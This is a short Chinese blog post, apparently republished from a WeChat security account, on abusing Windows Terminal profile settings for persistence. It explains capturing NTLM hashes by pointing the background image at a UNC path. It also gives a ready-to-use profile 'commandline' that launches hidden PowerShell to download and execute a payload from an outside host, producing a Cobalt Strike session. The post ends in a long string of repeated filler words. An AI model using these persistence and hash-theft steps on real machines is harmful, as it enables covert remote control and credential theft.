利用windows terminal进行权限维持

windows terminal是什么？

由于其方便可自定义等特性，被人所喜欢，今天我们就来聊一聊使用该工具进行权限维持。

由于其支持个人配置，所以我们可以在这个方面做文章，其配置文件为json文件，具体格式可参考微软给出的文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)。

1、hash获取

在背景图片哪里设置为UNC路径，然后使用response工具进行监听，当开启指定终端时，即可获取到目标机器的hash

hash

2、反弹会话

在其属性中可以设置启动的文件，且可以带参数，这就导致我们可以任意运行我们的程序。

设置powershell上线

"commandline":"powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.114:8088/a'))""

新建窗口后，cs收到会话

注意：让其上线后还能继续使用powershell。

凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数

本文始发于微信公众号（鸿鹄实验室）：利用windows terminal进行权限维持